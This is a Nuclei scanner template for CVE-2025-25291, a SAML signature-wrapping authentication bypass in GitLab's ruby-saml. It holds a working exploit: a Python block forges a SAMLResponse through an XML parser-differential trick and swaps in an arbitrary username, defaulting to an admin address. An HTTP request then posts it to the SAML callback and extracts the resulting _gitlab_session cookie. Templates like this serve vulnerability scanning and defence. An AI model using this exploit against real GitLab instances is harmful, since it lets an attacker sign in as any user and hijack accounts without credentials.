id: CVE-2025-25291

info:
  name: GitLab - SAML Authentication Bypass
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    ruby-saml provides security assertion markup language (SAML) single sign-on (SSO) for Ruby. An authentication bypass vulnerability was found in ruby-saml prior to versions 1.12.4 and 1.18.0 due to a parser differential. ReXML and Nokogiri parse XML differently; the parsers can generate entirely different document structures from the same XML input. That allows an attacker to be able to execute a Signature Wrapping attack. This issue may lead to authentication bypass. Versions 1.12.4 and 1.18.0 fix the issue.
  impact: |
    Unauthenticated attackers can bypass SAML SSO authentication through parser differential exploitation, enabling unauthorized access to GitLab instances without valid credentials.
  remediation: |
    This vulnerability is fixed in 1.17.0 and 1.12.3.
  reference:
    - https://portswigger.net/research/saml-roulette-the-hacker-always-wins
    - https://github.blog/security/sign-in-as-anyone-bypassing-saml-sso-authentication-with-parser-differentials/
    - https://about.gitlab.com/releases/2025/03/12/patch-release-gitlab-17-9-2-released
    - https://github.blog/security/sign-in-as-anyone-bypassing-saml-sso-authentication-with-parser-differentials
    - https://github.com/SAML-Toolkits/ruby-saml/commit/e76c5b36bac40aedbf1ba7ffaaf495be63328cd9
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.3
    cve-id: CVE-2025-25291
    cwe-id: CWE-347
    epss-score: 0.20843
    epss-percentile: 0.95699
  metadata:
    verified: true
    vendor: gitlab
    product: gitlab
    shodan-query:
      - http.title:"gitlab"
      - cpe:"cpe:2.3:a:gitlab:gitlab"
      - http.html:"gitlab enterprise edition"
      - http.html:"gitlab-ci.yml"
    fofa-query:
      - body="gitlab enterprise edition"
      - body="gitlab-ci.yml"
      - title="gitlab"
    google-query: intitle:"gitlab"
  tags: cve,cve2025,saml,auth-bypass,gitlab,code,vuln

code:
  - engine:
      - py
      - python3 # requires python to be pre-installed on system running nuclei
    source: |
      import os,re
      import base64
      import urllib.parse
      saml_response = os.getenv('SAMLResponse')
      username = os.getenv('username')
      saml_resp = base64.b64decode(urllib.parse.unquote(saml_response))
      if not username:
          username='admin@example.com'
      prefix = '''<!DOCTYPE foo SYSTEM 'x" [<!ATTLIST Signature xmlns CDATA #FIXED "http://www.w3.org/2000/09/xmldsig#" xmlns CDATA "block">]><!-- '>'''
      pos = saml_resp.find(b'?>') + 2
      saml_resp_mod = saml_resp[pos:]
      saml_resp_mod = prefix + saml_resp_mod[:-17].decode() + "<![CDATA[-->" + saml_resp_mod[:-17].decode() + "<!--]]>--></samlp:Response>"
      saml_resp_mod = re.sub(r'(<saml:NameID[^>]*>)[^<]+(</saml:NameID>)', rf'\1{username}\2', saml_resp_mod, count=1)
      saml_resp_mod = re.sub(r'(<saml:Attribute Name="email"[^>]*>\s*<saml:AttributeValue[^>]*>)[^<]+(</saml:AttributeValue>)', rf'\1{username}\2', saml_resp_mod, count=1)
      print(urllib.parse.quote(base64.b64encode(saml_resp_mod.encode())))

http:
  - raw:
      - |
        POST /users/auth/saml/callback HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        RelayState=undefined&SAMLResponse={{code_response}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header,"known_sign_in")'
          - 'status_code == 302'
        condition: and

    extractors:
      - type: kval
        kval:
          - _gitlab_session
# digest: 4a0a00473045022100ba4c0990cc760abe1f139956e06aa7d5e22262a509f4d4e96504b4459b044f3d0220217af735ea743cf435571d56bfec9b1096e269ff21c454cc99fb5343d734856e:922c64590222798bb761d5b6d8e72950